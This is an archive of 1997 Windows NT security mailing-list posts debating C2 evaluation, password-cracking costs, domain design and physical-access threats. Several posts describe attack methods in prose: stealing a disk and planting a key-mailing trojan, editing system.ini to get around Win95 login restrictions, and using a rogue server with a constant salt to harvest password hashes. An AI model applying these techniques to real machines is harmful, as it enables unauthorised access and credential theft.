"HKEY_LOCAL_MACHINE\SOFTWARE\Micosoft\Windows NT\CurrentVersion\Winlogon"
The "DefaultDomainName" Value is the Name from the validating BDC (or PDC).


Hope this helps

Best regards

Juergen Schiedhering
jschiedhe@frankfurt.netsurf.de

----------
Von: Vanek, Jim
Gesendet: Dienstag, 22. Juli 1997 14:19
An: 'ntsecurity@iss.net'
Betreff: [NTSEC] Tracking validation

Hello fellow NT users...

I'm in need of a utility that will display the validating BDC for a
NT-Workstation/server via a remote request? Does such an animal exist?

example: NT Server/Workstation \\NT-1234 has logged into the Domain
named NTSEC. Which BDC validated \\NT-1234 in Domain NTSEC?

any thoughts would be appreciated

qp
<_





> ----------
> From: Stas[SMTP:sfil@norman.com.au]
> Reply To: Stas
> Sent: Tuesday, July 22, 1997 9:32 AM
> To: Misha Gopaul; 'Benjamin Weissman'
> Cc: ntsecurity@iss.net
> Subject: RE: [NTSEC] Win95 sec
> 
> Hi!
> 
> This conclusion is TRUE if attacker has _unlimited_ resources .
> 
In most organizations, the resources required are: a screwdriver and one
PC with a disk controller appropriate to the disk on the attacked
system.

I steal the disk of the targer PC, plug it into mine, and party on. If
I'm really sneaky, I put the disk back in the target machine when I'm
done, with a trojan on it to grab keys to anything on your disk that's
encrypted, and then steal your disk again or have the trojan mail me the
keys...

With one of those small paperback book sized PCs, I could probably do
this in about 10 minutes, without even removing your disk from its case
-- just move the cable from your PCs controller to mine, copy all the
data to my disk and insert the trojan. If the trojan send me the keys
over the net, I don't even have to sneak in get the keys.

> It is like conclusion that "there is no unbreakable encryption" .
> 
> Stas.
> 
> ----------
> From: Paul Leach[SMTP:paulle@microsoft.com]
> Sent: Tuesday, 22 July 1997 6:06
> To: Misha Gopaul; 'Benjamin Weissman'
> Cc: ntsecurity@iss.net
> Subject: RE: [NTSEC] Win95 sec
> 
> We should get one fundamental security principal straight:
> 
> Systems to which the user (attacker) has physical access _can not_ be
> secured. This is true of all systems, Windows and non-Windows. It can
> be
> made difficult, and beyond the capacity of "normal" users, but there
> can
> be no guarantee.
> 
> You _can_ secure a network so that compromise of a workstation on the
> network will not allow access to resources on non-compromised systems
> over the net.
> 


> ----------
> From: Andreas Kostyrka[SMTP:andreas@ag.or.at]
> Reply To: Andreas Kostyrka
> Sent: Tuesday, July 22, 1997 5:44 AM
> To: Paul Leach
> Cc: Misha Gopaul; 'Benjamin Weissman'; ntsecurity@iss.net
> Subject: RE: [NTSEC] Win95 sec
> 
> The problem with Win95(NT) is, that it does little to security after
> the
> boot up. While with Win95 this is a builtin feature, and probably
> nobody
> will argue that Win95 is secure.
> But NT is also a problem at this, even if it is not as much
> recognized:
> Consider WRITE priviledges to the system directory, which probably
> you
> can't even disable, because some popular apps depend upon it? 
> Now ask your local Unix administrator, if (s)he would consider
> chmod o+w /bin /usr/bin /usr/local/bin /usr/lib /lib ...
> Installing systemwide application must limited to the Administrator.
> 
First: Suppose only admins could write to the system directory. If the
user has physical access to their own machine, then they can still
install apps without being admin -- by booting from floppy, or taking
the hard disk out and putting it into their home machine -- its all just
a question of how much work it is, and I think there are lots of users
with the requisite skills in this era of nearly unbiquitous home PCs.

Second: by default, NT _does not_ let anyone except admins overwrite or
delete existing system files. Since apps that are run through the GUI
are run via absolute paths, adding files is not by itself sufficient to
insert a trojan.

Third: I think that it might be possible to secure a physically insecure
machine using encryption -- but not any product I know of -- it would
have to be something like an encrypting disk controller that got your
encryption password in the BIOS each time the system booted -- and even
this wouldn't be safe against replacing the BIOS ROMs with a trojan BIOS
to steal your password (or reloading the BIOS if it was in flash rom!).

> So, before complaining, that I've categorized NT as an insecure OS
> (it's by far superior to Win95, but that's it), please explain me
> how you do prevent trojan horse attacks on a system where every user
> may
> write to public directories? *wonder*
> 
If you're _really_ worried about a user installing a trojan horse on
that user's personal workstation, you're out of luck (unless you want to
buy one of those expensive PC-vault things that prevent the user from
getting into the case, or put all the PCs in a locked room and run long
keyboard, mouse, and monitor cables, or other esoteric solutions --
i.e., unless you physically secure the machine.)

To protect against attackers other than legitimate users: Put the
machine into a locked room. Don't let anyone but admins log into it
locally. Don't share the system directory over the network except to
admins -- and maybe not even to them, if that's at all feasible.

These aren't things you can do for most user's workstations. But they
can and should be done for servers and admins' workstations, in most
normal office type environments.

> > You _can_ secure a network so that compromise of a workstation on
> the
> Again right. But again this is not applicable to SMB based networks :(
> SMB is subject to sniffing attacks and afterwards bruteforcing the
> password.
> 
Apply the lm-fix hotfix, and sniffing and brute force will either take a
long time (1 PC, 1000s of years) or a lot of machines (1000 PCs 6 years)
if strong enough passwords are enforced.

Paul
Breaking a sniffed NT challenge/response will take approximately 5,700
200mhz Pentium Pro _years_, if the user has a strong password. (This is
the average time to search the key space at the rate of 1 million
keys/sec on a 200mhz PPRO using the software developed for the RSA DES
challenge, which was at the time the fastest known software
implementation.)

Breaking weak passwords is like stealing candy from a baby -- you get
the candy, but you don't prove anything about your abilties as a thief.

Before I hear another word about NT challenge/response, I would really
like any person doing so to state that they understand that: 
* breaking a sniffed NT challenge/response is almost exactly as
hard (number of keys to examine) as breaking a sniffed Kerberos V5 login
attempt -- both involve a brute force search through key space or
password space (whichever is smaller).
* Kerberos users' passwords can also be as weak as NT users'
* a precomputed dictionary attack on NT challenge/response
requires a dictionary of order 2**60 bytes -- 1 million terabytes.

People may say whatever they like about LM challenge/response -- it
won't let you have a very strong password. Apply the LM-FIX from the MS
FTP site so you don't use LM challenge/response if your security
requirements demand it.


> ----------
> From: Andreas Kostyrka[SMTP:andreas@ag.or.at]
> Reply To: Andreas Kostyrka
> Sent: Tuesday, July 22, 1997 10:04 AM
> To: Stas
> Cc: Misha Gopaul; 'Benjamin Weissman'; ntsecurity@iss.net
> Subject: RE: [NTSEC] Win95 sec
> 
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> On Tue, 22 Jul 1997, Stas wrote:
> 
> > Hi!
> > 
> > This conclusion is TRUE if attacker has _unlimited_ resources .
> > It is like conclusion that "there is no unbreakable encryption" .
> But that's a bad excuse for using WEAK encryption.
> And especially the Internet hacker may have quite a bit of computing
> power, potentially on other sites that (s)he has hacked. For example
> on
> the local university here there have been discussion to boot every
> student lab PC overnight to Linux, just to have some calculation
> power.
> That would be around 500 P100-32MB-SCSI :)
> Assuming that one takes around 40 hours
> to brutforce with a 26 character set NT hashes (An assumtion from
> myself,
> that a PP200 calcs around 4 times faster than a P100).
> With such a cluster this 40 hours get 40/500 hours == 2/25 hours == 5
> minutes. Even encryption that takes around a month to break on a singe
> box, is cracked there in around 1h30m.
> 
> NT uses quite weak encryption, especially when you take into account,
> that
> the server (potentially a rogue server that is collecting passwords ;)
> )
> can request a constant salt.
> 
> Oh, by the way, I'd assume that there are many quite capable clusters
> on
> the internet, which could be used by some bad boys, right?
> 
> Andreas
> 
> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.3i
> Charset: noconv
> 
> iQEVAwUBM9ToGVGrPWwMHrE1AQE71wf/WzJ2Pa4xM9DPy+QyrcuoeWD5crDyuHcA
> c8tymbfrb7U89f4dOORcyTg6SvqMk1VGwG6+jAvCRhZmOXoOfejZagkQAFwV5BP3
> Nh0anluM7oip1isp9YXvfZtID4PvJlxaXAtBnaaKUo5INkoo+xaCXpcVED+Zoku2
> ugrybyDqy3TNHcNcBGfGb9113gtrs5fKbv8B60CNkD7rEplpsxuEGXXFpP2PU915
> oOWKqoFbJu+oG0Jd+oqe6Utq5w1R7xv5xTEZUjLUh6ldPayPAlnX5WfIm4ei/CRE
> 7kRAK24zQ2h7a8mDrVC6lgfK5DXnrSdhSFOsoS2tFVBvvlIqIqfwTw==
> =GVg1
> -----END PGP SIGNATURE-----
> 
>From: Frank Heyne[SMTP:fh@Rcs1.urz.tu-dresden.de]
>
>On 21 Jul 97 at 9:22, PHILIPB@Omnicell.com wrote:
>
>> If so, then how did Microsoft get C2 certified?
>
>Some more vapor. 
>They just put it in the docs ;-)
>Seems to be enough and is more easy instead of implementing it ;-)

Check your facts. From the evaluation summary:

The NSA evaluation team has determined that the highest level that
Windows NT Workstation and Windows NT Server, Version 3.5, combined with
Microsoft Windows NT Service Pack 3 satisfy all the specified
requirements of the criteria is class C2. For a complete description of
how the Windows NT platform satisfies each requirement of the Criteria,
see Final Evaluation Report, Microsoft, Inc., Windows NT Workstation and
Server, Version 3.5 with U. S. Service Pack 3 (Report CSC-FER-95/003). 

A system that has been rated C2 provides a TCB that enforces a DAC
policy to protect information and allow users to share information under
their control with other specified users, identification and
authentication of users in order to control access to the system and
enforce accountability, prevention of access to residual information
from a previous user's actions, and provides for the auditing of
security related events. The hosting hardware for the Windows NT
platform in the evaluated configuration is the Compaq Proliant 2000 and
4000 (Pentium) and the DECpc AXP/150 (Alpha).

For more information, see
http://www.radium.ncsc.mil/tpep/epl/entries/CSC-EPL-95-003.html.

PJDM
----
Peter Mayne
Digital Equipment Corporation (Australia),
Canberra, ACT
These are my opinions, not DEC's.
This was typed by an infinite number of monkeys.

>----------
>From: Frank Heyne[SMTP:fh@Rcs1.urz.tu-dresden.de]
>Sent: Tuesday, 22 July 1997 15:44
>To: PHILIPB@Omnicell.com; ntsecurity@iss.net
>Subject: RE: [NTSEC] Problem with Event-ID 513
>
>On 21 Jul 97 at 9:22, PHILIPB@Omnicell.com wrote:
>
>> If I remember correctly, isn't it a requirement for C2 that you be
>> able to audit system shutdown?
>> 
>> If so, then how did Microsoft get C2 certified?
>
>Some more vapor. 
>They just put it in the docs ;-)
>Seems to be enough and is more easy instead of implementing it ;-)
>
>Frank Heyne
>
>Nobody is perfect - sorry for not beeing nobody.
>http://rcswww.urz.tu-dresden.de/~fh/
>
Hi!

It means that approximate cost of breaking STRONG password suppose to be ~10 000 000 $ .
An it become chipper every minutes.

Do you think it's enough ?

Stas.


----------
From: Paul Leach[SMTP:paulle@microsoft.com]
Sent: Wednesday, 23 July 1997 11:33
To: Stas; 'Andreas Kostyrka'
Cc: Misha Gopaul; 'Benjamin Weissman'; ntsecurity@iss.net
Subject: RE: [NTSEC] Win95 sec

Breaking a sniffed NT challenge/response will take approximately 5,700
200mhz Pentium Pro _years_, if the user has a strong password. (This is
the average time to search the key space at the rate of 1 million
keys/sec on a 200mhz PPRO using the software developed for the RSA DES
challenge, which was at the time the fastest known software
implementation.)



Haven't we been through this before?

C2 is really not relevant for most people's network needs. In fact most
people's network needs dictate that C2 is not even viable.

NT however *is* E3 rated with ITSEC on a network.

Come to think of it, are you actually aware of the networking
requirements for C2?

Also, do you understand the difference between 'evaluated' and
'certified'? There is no such thing as "C2 approval" AFAIK.

John Wiltshire

> -----Original Message-----
> From: Mac Thang [SMTP:MThang@GRIZZARD.com]
> Sent: Wednesday, July 23, 1997 1:33 AM
> To: 'Timothy D. First'; 'ntsecurity@iss.net'
> Subject: RE: [NTSEC] Problem with Event-ID 513
> 
> That is correct tim. One of the C2 requirement is: the system must 
> be stand-alone. Once it's attached to a network or to another system,
> 
> you can throw the C2 talk out of the windows.
> 
> -- mac
> 
> -----Original Message-----
> From: Timothy D. First [SMTP:firsttim@pilot.msu.edu]
> Sent: Monday, July 21, 1997 9:40 PM
> To: ntsecurity@iss.net
> Subject: RE: [NTSEC] Problem with Event-ID 513
> 
> At 09:22 AM 7/21/97 -0700, you wrote:
> 
> >If I remember correctly, isn't it a requirement for C2 that you be 
> able
> 
> >to audit system shutdown?
> 
> >
> 
> >If so, then how did Microsoft get C2 certified?
> 
> >
> 
> >Alva, am I correct in believing that shutdown logging is required 
> for
> 
> >C2?
> 
> 
> Forgive me, If I am incorrect, but I believe that NT 4.0 does not 
> truely hold C2 Approval from RSA. In general to have C2 security you 
> basically have to be on a non-networked machine.
> 
> 
> -tim
> 
> 0000,8080,0000MMM MMM SSSSSSSS UU UU
> 
> 0000,0000,ffffTimothy D. First,
> MCPS
> 
> 0000,8080,0000MMMM MMMM SS 
> UU
> UU firsttim@acm.msu.edu
> 
> 0000,8080,0000MM MM MM MM SSSSSSSS UU UU
> 
> tim@friesenphoto.com
> 
> 0000,8080,0000MM MMMM MM SS UU UU
> 
> http://www.acm.cps.msu.edu/~firsttim
> 
> 0000,8080,0000MM MM MM SSSSSSSS
> UUUUUUUU


> ----------
> From: Stas Filshtinskiy[SMTP:sfil@norman.com.au]
> Sent: Wednesday, July 23, 1997 5:22 AM
> To: Paul Leach
> Cc: ntsecurity@iss.net
> Subject: RE: [NTSEC] Win95 sec
> 
> Hi!
> 
> It means that approximate cost of breaking STRONG password suppose to
> be ~10 000 000 $ .
> An it become chipper every minutes.
> 
> Do you think it's enough ?
> 
Depends on the value of what its protecting.

Also worthy of note: with $10,000,000 it would take about a year to
break one password (assumes the PC costs ~$1750). Not much use if
passwords are changed every 45-90 days (a typical figure). So to break
it in time to use it, it would take $40-80,000,000.

Paul
Bill,
I'm not quite sure whith what you want, but http://www.v-one.com/ might
give you the option you look for: mutual authentication, acces control
and encryption, works with all major firewalls and tcp/ip clients
Remco
-- 
 Een veilig net met PointNet Security Systems bv
 http://www.pointnet.nl/pss
 Postbus 38 3880 AA Putten tel 0577 462715 fax 462627
 PointNet Security Systems maakt deel uit van de PointGroup
 te Alphen a/d Rijn
At 20:23 -0400 7/21/97, Donald M. Barnard Jr. wrote:
>I'm pretty sure that it only needs access to your web files/directories,
>and the only user right it needs is logon locally.

take a look at the IIS configuration guide found in
ftp://gnpr.pae.osd.mil/pub/nt/. I know I've been promising it for ages
now, but NT4 and IIS3.0+ settings document is being worked on. In the
mean time it will get you started.

"I really look with pity on the great body of my fellow citizens who,
reading newspapers, live and die in the belief that they have known
something of what has been passing in the world of their times."
 - Thomas Jefferson


On 22 Jul 97 at 15:59, Paul Leach wrote:

> First: Suppose only admins could write to the system directory. If
> the user has physical access to their own machine, then they can
> still install apps without being admin -- by booting from floppy, or

... or by installing it into his home directory.

It would really a good idea if it would be possible to inherit the 
ownership of files from the directory in which they are copied.

This way the admin could set the ownership of users homedirs to another 
account and with removing the X right for files no user would be able 
to execute files in its own directories.

It would great if we could find such a flexibility in NT 5 !

Greetings
Frank Heyne

Get your free version 1.02 of Elwiz, the Eventlog Wizard:
http://rcswww.urz.tu-dresden.de/~fh/nt/eventlog/#Elwiz
I would recommend using SSL, which encrypts the traffic between client and server. Since SSL(HTTPS) is slower than HTTP, put the password check on a SSL-protected page, and the rest of the app on non-protected pages. 

Theoretically, a hacker could of course sniff for a persons ASP session cookie (while visiting your web) and get access to sensitive information, but would not see the password.


----------
Från: Bill Stout[SMTP:stoutb@pios.com]
Skickat: den 22 juli 1997 23:38
Till: ntsecurity@iss.net
Angående: [NTSEC] Browser password hashing

Can a person use a browser to hash a password before sending it across the
internet? I'd like to setup a configuration where a client browser hashes a
password, sends the hashed password to an IIS website, which compares the
hash to a stored hashed password for that username. Since in this case a
database application stores the password, I'd like it not to store (or
transmit) plaintext passwords. ;)

I don't want to do IIS Challenge/Response, since it won't work across
99.9999% of the existing firewalls. Failing the option to use C/R, the IIS
password options are Basic (Clear text) and allow anonymous (acting as
IIS_computername).

Anyone do this before with Active-X, Java or scripts? 

Bill Stout


On 23 Jul 97 at 11:48, Peter Mayne wrote:

> Check your facts. From the evaluation summary:

[snip]

> A system that has been rated C2 provides a TCB that enforces a DAC
> policy to protect information and allow users to share information
> under their control with other specified users, identification and
> authentication of users in order to control access to the system and
> enforce accountability, prevention of access to residual information
> from a previous user's actions, and provides for the auditing of
> security related events. 

There we are. You do consider a shutdown a security related event, 
don't you?

Greetings
Frank Heyne

Get your free version 1.02 of Elwiz, the Eventlog Wizard:
http://rcswww.urz.tu-dresden.de/~fh/nt/eventlog/#Elwiz
On 22 Jul 97 at 19:36, Paul Leach wrote:

> Also worthy of note: with $10,000,000 it would take about a year to
> break one password (assumes the PC costs ~$1750). Not much use if
> passwords are changed every 45-90 days (a typical figure). So to
> break it in time to use it, it would take $40-80,000,000.

And with that in mind, in the *real* world how much would you have
to offer an admin to simply tell you the password or give you the
data you want? One million? Two million?

If someones secrets are worth that much, then I expect they will
already be using two (or three) factor authentication, packet
encryption etc.. 

Regards,

--Alan--
acr@als.co.uk
This might be off-topic for this group but I'll give it a try ...

I just set up three new systems with NT WS 4.0. Our policy is to create
an ID for the user, set the
password to some easily remembered word and check the "User Must Change
Password At Next Login" selection. The users don't have the
Administrator password.

On all three of these systems the user is prompted to change the
password after they first login, on two of them there is no problem, the

password gets changed. On the third one there is a problem. After the
user types in the new password and clicks OK he gets a message saying he

does not permission to change the password.

The "Don't Allow User To Change Password" option is NOT checked. If the
"User Must Change Password At Next Login" is unchecked the user can then

log in, (without being prompted to change the password, of course).
The user can then do a C-A-D and change the password successfully from
the Change Password selection.

This happens on this system no matter what ID I create. I would rather
not reinstall NT, no CD-ROM on the system, etc. And I'm really curious
how this happened and how to fix it. Any ideas??

Thanks,

Allan McDoanld
mcdonald@onramp.i2k.com



Paul Leach wrote:
>Stas Filshtinskiy[SMTP:sfil@norman.com.au] wrote:
>>It means that approximate cost of breaking STRONG password suppose to
>>be ~10 000 000 $ .
>>An it become chipper every minutes.
>>
>>Do you think it's enough ?
>
>Depends on the value of what its protecting.

And what you expect the value of what it's protecting to be in a year...

>Also worthy of note: with $10,000,000 it would take about a year to
>break one password (assumes the PC costs ~$1750). Not much use if
>passwords are changed every 45-90 days (a typical figure). So to break
>it in time to use it, it would take $40-80,000,000.

In fact, your analysis is incomplete ;)

5700 PCs (or 45,600 using the $80M estimate) take up a considerable
amount of space. To even begin this attack you would need to buy an
inconveniently large building to store them all in. Not to mention the
manpower involved in physical installation and setting them all up (I
assume that once set up, they will be operated remotely as dumb slave
CPUs), running costs, the time it would take to obtain that number of
machines from the manufacturer... This all pushes up the cost of
brute-forcing the encryption.

And I suspect if you were that desperate for the passwords, you would
want them rather quicker anyway, say within a week, which puts the price
up to at least $520M, or 296400 PCs.

John
-- 
remember i was always true; remember that i always tried 
remember i loved only you; remember me and smile... 
for it's better to forget than to remember me and cry
:-p

> Any input?

Yes. As much as I wouldn't mind discussing this on an open forum, this
isn't the forum. This is ntsecurity@iss.net, which nominally is for
discussions about security IRT Windows NT.

If you want input on general NT issues, there are mailing lists for that.
bhsnt@bhs.com comes to mind.

Thanks.

--
"What do you want?" -- Mr. Morden, Microsoft Sales VP

-- John E. Jasen // Systems Alchemist \\ jjasen1@umbc.edu --
-- My views are not those of UMBC, AFAIK. HTH. HAND. --


> That is correct tim. One of the C2 requirement is: the system must 
> be stand-alone. Once it's attached to a network or to another system, 
> you can throw the C2 talk out of the windows.

There seems to be no end on this list to uninformed speculation
about what C2 requires. There is no C2 requirement that a system
be standalone. If you want to know what the C2 requirements are,
why not (gasp!) actually read them? The Orange Book is online at:
http://www.radium.ncsc.mil/tpep/library/rainbow/5200.28-STD.html

If you want to know how the NCSC interprets C2 with respect to
networks, continue by reading the Red Book at:
http://www.radium.ncsc.mil/tpep/library/rainbow/NCSC-TG-005.html

(Granted, these documents are rather vague and you won't find an
[explicit] answer to detailed questions like "does C2 require
auditing of system shutdown?", but you'll certainly be able to
reject glaring falsehoods like the above.)


-- Jeff
Can anyone tell me where i can get the source for c2myazz.exe

thanks
Misha
-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 22 Jul 1997, Paul Leach wrote:
> First: Suppose only admins could write to the system directory. If the
> user has physical access to their own machine, then they can still
> install apps without being admin -- by booting from floppy, or taking
> the hard disk out and putting it into their home machine -- its all just
> a question of how much work it is, and I think there are lots of users
> with the requisite skills in this era of nearly unbiquitous home PCs.
Huge difference: Most users will consider tweaking around with the
harddisc contents ok by default, while taking out the screw driver
most will probably consider as a bad thing.

Still there is the legal view point here: Local law (in this case the
Austrian one) consider only a system where enough precaution have been
taken as protected by law. So basically breaking a Win95 logon prompt,
where every one (at least in the stand alone version) may type in a new
user would be probably not considered as a crime here :)
You can also study the iX article (also in English), where Active-X
controls are used to ``steal'' money via Quicken from the browser user,
and where it is argued that this would probably stand up in court as
legal! (http://www.ix.de/ix/artikel/1997/03/090/)
> Second: by default, NT _does not_ let anyone except admins overwrite or
> delete existing system files. Since apps that are run through the GUI
> are run via absolute paths, adding files is not by itself sufficient to
> insert a trojan.
Wonder so how is it possible that people install Win16 applications?
*wonder* And again: Files are accessed by absolute path ok. So what about
DLLs that are installed in the system directory? A trojan may be hidden
also in some DLL that when run as Administrator starts to do bad things.

> 
> Third: I think that it might be possible to secure a physically insecure
> machine using encryption -- but not any product I know of -- it would
> have to be something like an encrypting disk controller that got your
> encryption password in the BIOS each time the system booted -- and even
> this wouldn't be safe against replacing the BIOS ROMs with a trojan BIOS
> to steal your password (or reloading the BIOS if it was in flash rom!).

You are mixing up to differnt things:
- - securing the network.
- - securing the workstation.

In both case securing the hardware is important, probably in the case of
the network wire even more. But depending upon your site hardware based
attacks are probable or not. (Think about a video taped students lab.)

On the software side, encryption is probably the only full protection for
networks. But even without full encryption, protocols differ widely
under security aspects :( SMB is surely not one of the best protocols :(

Securing the workstation is another thing:
- - Win95 takes a no security stand point :(
- - WinDuck (also called NT, which is same pronounced in german as eNTe,
 which means duck.)
 is much better, but still comes from people with the same LAN mindset.
 (User friendlyness is IMPORTANT. security, hmmm, what does it matter?)
 By monitoring this mailing list, one comes to the conclusion that
 NT is about the same security level that Unix was two decades ago (when 
 it was used mostly for LAN stuff, funny, not?). Seems
 like the guys in Redmond didn't feel that learning from the Unix
 mistakes, that gave Unix the bad security image it has/had :(, would be
 a good idea. Learning by self-experience is better.

> If you're _really_ worried about a user installing a trojan horse on
> that user's personal workstation, you're out of luck (unless you want to
> buy one of those expensive PC-vault things that prevent the user from
> getting into the case, or put all the PCs in a locked room and run long
> keyboard, mouse, and monitor cables, or other esoteric solutions --
> i.e., unless you physically secure the machine.)
Nope. It doesn't work in M$ enviroments, it works quite well in a Unix/X
setting. Consider the nets that my company installs:
One server (which could be secured, most clients prefer to have to pay for
 one workstation less :((( )
half a dozen discless clients, that are used primaraly as X terminals.
 No floppy drive. This reduces the ways of attacks possible to pre
 networked times: Only way to hack the client is to enter a correct
 password for the server. And even if the attacker could gain user
 level access to the client, this would not help him, as the system
 is basically still secure.

The only way to attack such a system is to plug in a laptop in to the
wire, but one could counter work this by using something like ssh :)

Only drawback: This does not work if the client demands to strongly Win32
 :(. But even then one can get away with this by installing
 a small number of Win95 stations with X-servers (or dual
 boot it into Linux/discless). Your data is probably still
 secure on the server, but the workstation is insecure :(,
 but can use all this new nice apps for Win32 :)

Oh, by the way, the server is usually hardware, that nobody would install
nowadays even for a Win95 workstation, and it still supports about 5
workstations without any problems :)

> To protect against attackers other than legitimate users: Put the
> machine into a locked room. Don't let anyone but admins log into it
> locally. Don't share the system directory over the network except to
> admins -- and maybe not even to them, if that's at all feasible.
> 
> These aren't things you can do for most user's workstations. But they
> can and should be done for servers and admins' workstations, in most
> normal office type environments.

Depending upon how feasible a screwdriver-attacker is, locking in the
servers/workstations is a good thing or unnecessary :)

On the software side, using Win95 for a admins workstation is probably 
a combination of stupidness, sillyness, cluelessness, ...
WinNT is probably ok, but one should disable what one doesn't need,
and probably follow a mailing list like this one, so one can install the
 weekly hotfixes. Even better would be probably a X station, where
one accesses the servers directly (for NT there are products that make
this feasible.), but then again one should secure the X-terminal
correctly, which is not always that user friendly, but then this is an
admins workstation.

Andreas

P.S.: Then why does the L0PTHCRACK author give so much lower times for the
 crack time then you? *wonder*
P.P.S.: Concerning the cryptographical strength you claim: Does this still
 apply when a rogue server uses a constant salt, as would be feasible
 with a CIFS link in a webpage?


-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM9YdMlGrPWwMHrE1AQGERAf/Xa7WaTp5aDxhSCa/j0Lhvta0lS9t+uHK
JtEISRkETz8R0ey5gzZtnDWloRGp9iAvplpNHooDtihcl+BZsdimXBWCuM4ayz1/
jqYM0tDmdKmBd9KRPjf3VsbQxgW2sTGXPcLLleMM0Yh+cICMYk/pdOPdn/Rdypjk
HCXD5ZbZoXAfeVVopkowpp/ucXgaUyor4W698VvEd1ORUFgLs3sdn67PYITmRmnU
+FKJuCUcCcTkya5h/cdaCddA27diFxtqYMo0eN30SepjRiQMDwTiZ+RRJucCwcbM
sUur7OtzF22MDUfotz6+4iuN8k73MDcicOqlQZkh8zpgI/dFPQp55Q==
=ugmN
-----END PGP SIGNATURE-----
-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 22 Jul 1997, Paul Leach wrote:
> Depends on the value of what its protecting.
> 
> Also worthy of note: with $10,000,000 it would take about a year to
> break one password (assumes the PC costs ~$1750). Not much use if
> passwords are changed every 45-90 days (a typical figure). So to break
> it in time to use it, it would take $40-80,000,000.
The problem is, that this cost is the same to break 1 or 10000 passwords.
(Assuming you've collected your data from a rogue server, that requests
 the same salt everytime.)

Assuming 10-20% weak passwords you're in quite faster than your quotes.
(And I'm not sure that 10-20 is the upper bound of weak passwords with
 usual users, probably it's more like the lower bound :((( )

Andreas



-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM9Yf41GrPWwMHrE1AQHVkwf/d172j1IKbxzLiNOd9XEQNOvNysR65G+9
kfhq4yX+vimHm/MSpNLZeVlhYxN7qfDwHe9R0oyZ/4CcWIWOH3h/IwrEI9lLghxX
3NDimSYZSHTbuwtZLVdzuBFbwY4nJIYaR7y0oMA8K+NRiluWwty5l2leTCzsaRry
UluMQC8g73i8SjDCkA64Vh2/5GIz1lYMxZI/+IH6NScl49Ymb7jCwWce8fuSXndD
BiJ+lclgvZHs2S+6U2je1zgV4RlbP97EUK2HlNDlAlhPP3ajo8k6fpxaKC0u2hMC
Z/ZUSHWVEQjuTJalFOKnbKIMj71q/G4dJ4PAMAXn/tJ3T9DPcbMwzg==
=NcR7
-----END PGP SIGNATURE-----
A domain solution depends upon a whole bunch of design issues, most of
which you haven't gotten into: how many users, how often and how urgently
you add new ones or alter existing ones, how much you can "trust" another
domain; how reliable is the PDC platform; how often users access other site
resources; whether you want to centralize admin/maintenance or not, how
paranoid your boss might be, how solid/reliable/available/affordable your
WAN is; what your bandwidth is, etc. A master domain certainly isn't
nonsense, and may or may not be appropriate to your particular case...but
we don't know what your particular case is. 

Plus it may all change with NT 5...

Cheers,

Deric



----------
> From: Mac Thang 
> To: 'ntsecurity@iss.net'
> Subject: [NTSEC] Domain modeling
> Date: July 22, 1997 16:28 PM
> 
> Greeting all NT gurus out there. I just want to bounce off some ideas 
> with y'all out there. We have three major site across the US: One in 
> Atlanta, one in Houston and one in LA. We're implementing NTAS4.0 
> across the board and are currently selecting the domain model we would 
> like to use. I know what I want and what is feasible, but we have an 
> administrator who likes an alternative model. That of a single Master 
> Domain model. Offhandedly, I would call it nonsense, but I need some 
> input from the WAN expert out there. What is the advantage and 
> disadvantage of setting up a Master Domain at one of the central site 
> (whether it be LA, Atlanta, Houston) and making the other sites 
> domains a BDC to the Master PDC across the WAN. This don't make sense 
> to me technologically, administratively as well as when it comes to 
> maintenance. I see chaos all over the place and very, very poor 
> planning. Any input?
 There has been a wave of new technologies PCMCIA cards and SmartCards (with microchips) which you can use to "lock computers". My company is actively pursuing development of such technologies to help out businesses like yours (Misha Gropal). This is probably too big a solution for you, but you could install hardware card readers / pcmcia slots, such that the computer can be physically locked, and then only unlocked by the admin's card(key). A regular users card(key) would force a boot into Win95(or anyother OS) without the option to "F8 out" of the boot sequence. Also files like the Autoexec.bat, config.sys, system.ini, etc... can be encrypted.

 I am sure your all aware these technologies, so I won't try to plug my companies services too much, since we are just getting our start anyway, but look into companies like Litronics, Chrysalis, Spyrus, Entrust etc.. All of these companies make either hardware for cards and readers or they make Private Key Infastructure (PKI) software. YCS is starting to ally with some of these companies and other to offer software/hardware SECURITY solutions for companies. If any one is interested in more info, just email. We have not "Officially launched" our new division yet, but we most likely will in September 

PEACE
Greg Windows NT Admin
greg@ycs.net

----------
From: David LeBlanc[SMTP:dleblanc@iss.net]
Sent: Monday, July 21, 1997 11:32 AM
To: Misha Gopaul; ntsecurity@iss.net
Subject: Re: [NTSEC] Win95 sec

At 10:59 7/21/97 +0100, Misha Gopaul wrote:
>Basically, any user can load up word and edit the system.ini (even
>though the local drives have been hidden from explorer) simply by typing
>the path and filename in the filename box. This means that they can
>replace the 
>TASKMGR=
>line with 
>TASKMGR=C:\windows\taskmgr
>before login, when no restriction policies are active, they can hit CTRL
>ESC, and run regedit, command.com or whatever you like.
 
>Can anyone suggest a way around this... Is there a way to prevent users
>from running ANYTHING before they login, or is there a way to allow
>editing of win.ini only through setup programmes? (i.e. so users can't
>change it themselves)

No. It is completely hopeless - if you can stop them there, they can just
boot it into DOS compatability mode, and go at it from the command line.
The best you can do is to discourage them and hope they are fairly docile,
well-behaved end-users (perhaps too much to hope for, but...). If you are
really concerned about security, you're going to have to use NT clients.
Even so, you will have some problems, since Office 97 (for example) has some
idea that it should write all over the hard drive. Personally, I have found
that using NT as a client substantially reduces support costs, since the end
user has to be much more determined to screw things up, and it is FAR less
likely to just lock up completely and lose work.

-----------------------------------------------------------
David LeBlanc | Voice: (770)395-0150 x138
Internet Security Systems, Inc. | Fax: (404)395-1972
41 Perimeter Center East | E-Mail: dleblanc@iss.net 
Suite 660 | www: http://www.iss.net/
Atlanta, GA 30328 |


Does anyone know if NT will work as a client to a server running secure
rpc?

Todd Hudspeth

Is there a way with IIS 3.0 to do the following:

1. Limit only certain webpages to users from a certain IP class.

2. Protect only certain directories with a Username / Password
 using basic clear text authentication.

Thanks in advance... From what I've seen, if you want to lock
down a directory with Basic Authentication... everything has to
be locked down... all or nothing type of deal... ?

--Nolan

~ Network Administrator
~ CP-Tel Network Services

~ Office Number (318) 352-0006
~ Fax Number (318) 352-0104


Hello everyone,

I would like to use XCACLS to give the Everyone group LIST access to a
directory. So far I have been unsuccessful.

